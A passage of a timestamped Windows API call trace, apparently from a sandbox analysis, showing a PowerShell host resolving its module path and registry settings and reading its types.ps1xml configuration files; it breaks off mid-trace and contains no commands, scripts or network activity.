lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x16e480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0062.498] GetLastError () returned 0x3 [0062.500] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0062.500] GetLastError () returned 0x3 [0062.501] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x607300, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0062.501] GetLastError () returned 0x3 [0062.501] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ea90 | out: phkResult=0x16ea90*=0x340) returned 0x0 [0062.501] RegQueryValueExW (in: hKey=0x340, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x16ead4, lpData=0x0, lpcbData=0x16ead0*=0x0 | out: lpType=0x16ead4*=0x2, lpData=0x0, lpcbData=0x16ead0*=0x6c) returned 0x0 [0062.501] RegQueryValueExW (in: hKey=0x340, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x16ead4, lpData=0x607300, lpcbData=0x16ead0*=0x6c | out: lpType=0x16ead4*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x16ead0*=0x6c) returned 0x0 [0062.501] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x607300, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0062.501] GetLastError () returned 0x3 [0062.501] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x607300, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0062.501] GetLastError () returned 0x3 [0062.502] RegCloseKey (hKey=0x340) returned 0x0 [0062.502] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x607300, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0062.502] GetLastError () returned 0x3 [0062.502] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ea90 | out: phkResult=0x16ea90*=0x340) returned 0x0 [0062.502] RegQueryValueExW (in: hKey=0x340, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x16ead4, lpData=0x0, lpcbData=0x16ead0*=0x0 | out: lpType=0x16ead4*=0x0, lpData=0x0, lpcbData=0x16ead0*=0x0) returned 0x2 [0062.503] RegCloseKey (hKey=0x340) returned 0x0 [0062.516] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x607300 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0062.517] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x16e5f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0062.517] GetLastError () returned 0x3f0 [0062.519] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0062.519] GetLastError () returned 0x3f0 [0062.540] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x16ea10 | out: phkResult=0x16ea10*=0x348) returned 0x0 [0062.540] RegQueryValueExW (in: hKey=0x348, lpValueName="path", lpReserved=0x0, lpType=0x16ea78, lpData=0x0, lpcbData=0x16ea74*=0x0 | out: lpType=0x16ea78*=0x1, lpData=0x0, lpcbData=0x16ea74*=0x74) returned 0x0 [0062.540] RegQueryValueExW (in: hKey=0x348, lpValueName="path", lpReserved=0x0, lpType=0x16ea58, lpData=0x0, lpcbData=0x16ea54*=0x0 | out: lpType=0x16ea58*=0x1, lpData=0x0, lpcbData=0x16ea54*=0x74) returned 0x0 [0062.540] RegQueryValueExW (in: hKey=0x348, lpValueName="path", lpReserved=0x0, lpType=0x16ea58, lpData=0x607300, lpcbData=0x16ea54*=0x74 | out: lpType=0x16ea58*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x16ea54*=0x74) returned 0x0 [0062.540] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x16e5d8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0062.540] GetLastError () returned 0xcb [0062.540] SetErrorMode (uMode=0x1) returned 0x1 [0062.541] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x16ea58 | out: lpFileInformation=0x16ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0062.541] GetLastError () returned 0xcb [0062.541] SetErrorMode (uMode=0x1) returned 0x1 [0062.542] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e5cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0062.542] GetLastError () returned 0xcb [0062.542] SetErrorMode (uMode=0x1) returned 0x1 [0062.542] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16ea4c | out: lpFileInformation=0x16ea4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0062.572] GetLastError () returned 0xcb [0062.572] SetErrorMode (uMode=0x1) returned 0x1 [0062.575] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e5cc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0062.575] GetLastError () returned 0xcb [0062.575] SetErrorMode (uMode=0x1) returned 0x1 [0062.575] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x16ea4c | out: lpFileInformation=0x16ea4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0062.579] GetLastError () returned 0xcb [0062.579] SetErrorMode (uMode=0x1) returned 0x1 [0062.581] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x607300, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.581] GetLastError () returned 0xcb [0062.582] GetACP () returned 0x4e4 [0062.599] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e45c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0062.599] GetLastError () returned 0x0 [0062.599] SetErrorMode (uMode=0x1) returned 0x1 [0062.600] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c [0062.600] GetLastError () returned 0x0 [0062.601] GetFileType (hFile=0x34c) returned 0x1 [0062.602] SetErrorMode (uMode=0x1) returned 0x1 [0062.602] GetFileType (hFile=0x34c) returned 0x1 [0062.604] ReadFile (in: hFile=0x34c, lpBuffer=0x2c20bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c20bf8*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.607] GetLastError () returned 0x0 [0062.608] ReadFile (in: hFile=0x34c, lpBuffer=0x2c20bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c20bf8*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.608] GetLastError () returned 0x0 [0062.608] ReadFile (in: hFile=0x34c, lpBuffer=0x2c20bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c20bf8*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.608] GetLastError () returned 0x0 [0062.609] ReadFile (in: hFile=0x34c, lpBuffer=0x2c20bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c20bf8*, lpNumberOfBytesRead=0x16e9c4*=0xcf3, lpOverlapped=0x0) returned 1 [0062.609] GetLastError () returned 0x0 [0062.609] ReadFile (in: hFile=0x34c, lpBuffer=0x2c2008b, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c2008b*, lpNumberOfBytesRead=0x16e9c4*=0x0, lpOverlapped=0x0) returned 1 [0062.609] GetLastError () returned 0x0 [0062.609] ReadFile (in: hFile=0x34c, lpBuffer=0x2c20bf8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c20bf8*, lpNumberOfBytesRead=0x16e9c4*=0x0, lpOverlapped=0x0) returned 1 [0062.609] GetLastError () returned 0x0 [0062.610] CloseHandle (hObject=0x34c) returned 1 [0062.610] GetLastError () returned 0x0 [0062.611] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e524, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0062.611] GetLastError () returned 0x0 [0062.611] SetErrorMode (uMode=0x1) returned 0x1 [0062.611] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2c31f6c | out: lpFileInformation=0x2c31f6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0062.611] GetLastError () returned 0x0 [0062.611] SetErrorMode (uMode=0x1) returned 0x1 [0062.612] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0062.612] GetLastError () returned 0x0 [0062.612] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e948 | out: phkResult=0x16e948*=0x34c) returned 0x0 [0062.612] RegQueryValueExW (in: hKey=0x34c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e990, lpData=0x0, lpcbData=0x16e98c*=0x0 | out: lpType=0x16e990*=0x1, lpData=0x0, lpcbData=0x16e98c*=0x56) returned 0x0 [0062.612] RegQueryValueExW (in: hKey=0x34c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x16e990, lpData=0x607300, lpcbData=0x16e98c*=0x56 | out: lpType=0x16e990*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x16e98c*=0x56) returned 0x0 [0062.613] RegCloseKey (hKey=0x34c) returned 0x0 [0062.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e4f0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0062.613] GetLastError () returned 0x0 [0062.613] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e484, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0062.613] GetLastError () returned 0x0 [0062.948] GetSystemInfo (in: lpSystemInfo=0x16e0c8 | out: lpSystemInfo=0x16e0c8*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0062.949] VirtualQuery (in: lpAddress=0x16d884, lpBuffer=0x16e884, dwLength=0x1c | out: lpBuffer=0x16e884*(BaseAddress=0x16d000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0062.963] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x16e45c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0062.963] GetLastError () returned 0x0 [0062.963] SetErrorMode (uMode=0x1) returned 0x1 [0062.963] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c [0062.963] GetLastError () returned 0x0 [0062.963] GetFileType (hFile=0x34c) returned 0x1 [0062.963] SetErrorMode (uMode=0x1) returned 0x1 [0062.964] GetFileType (hFile=0x34c) returned 0x1 [0062.964] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.966] GetLastError () returned 0x0 [0062.966] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.966] GetLastError () returned 0x0 [0062.967] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.967] GetLastError () returned 0x0 [0062.967] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.967] GetLastError () returned 0x0 [0062.967] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.967] GetLastError () returned 0x0 [0062.968] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.968] GetLastError () returned 0x0 [0062.968] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.969] GetLastError () returned 0x0 [0062.969] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.969] GetLastError () returned 0x0 [0062.969] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.969] GetLastError () returned 0x0 [0062.970] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.970] GetLastError () returned 0x0 [0062.970] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.970] GetLastError () returned 0x0 [0062.970] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.970] GetLastError () returned 0x0 [0062.971] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.971] GetLastError () returned 0x0 [0062.971] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.971] GetLastError () returned 0x0 [0062.971] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.971] GetLastError () returned 0x0 [0062.971] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.971] GetLastError () returned 0x0 [0062.971] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.971] GetLastError () returned 0x0 [0062.974] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.974] GetLastError () returned 0x0 [0062.975] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.975] GetLastError () returned 0x0 [0062.975] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.975] GetLastError () returned 0x0 [0062.975] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.975] GetLastError () returned 0x0 [0062.975] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.975] GetLastError () returned 0x0 [0062.975] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.975] GetLastError () returned 0x0 [0062.976] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.976] GetLastError () returned 0x0 [0062.976] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.976] GetLastError () returned 0x0 [0062.976] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.976] GetLastError () returned 0x0 [0062.976] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.976] GetLastError () returned 0x0 [0062.976] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.976] GetLastError () returned 0x0 [0062.977] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.977] GetLastError () returned 0x0 [0062.977] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.977] GetLastError () returned 0x0 [0062.977] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.977] GetLastError () returned 0x0 [0062.977] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.977] GetLastError () returned 0x0 [0062.977] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.977] GetLastError () returned 0x0 [0062.982] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.982] GetLastError () returned 0x0 [0062.982] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.982] GetLastError () returned 0x0 [0062.982] ReadFile (in: hFile=0x34c, lpBuffer=0x2c66388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x16e9c4, lpOverlapped=0x0 | out: lpBuffer=0x2c66388*, lpNumberOfBytesRead=0x16e9c4*=0x1000, lpOverlapped=0x0) returned 1 [0062.982] 